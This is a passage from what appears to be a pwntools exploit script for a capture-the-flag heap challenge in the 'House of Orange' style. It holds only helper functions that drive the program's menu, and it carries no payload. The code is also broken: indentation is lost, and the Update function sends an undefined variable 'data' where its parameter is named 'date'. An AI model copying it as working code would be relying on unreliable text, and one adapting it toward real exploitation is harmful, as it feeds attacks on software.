p.sendlineafter(b'Color of Orange',b'2')

def Update(size,date):
p.sendlineafter(b'Your choice',b'3')
p.sendlineafter(b'Length of name:',str(size).encode('l1'))
p.sendafter(b'Name:',data)
p.sendlineafter(b'Price of Orange',b'1')
p.sendlineafter(b'Color of Orange',b'2')

def Show(index):
p.sendlineafter(b'Your choice' ,str(2))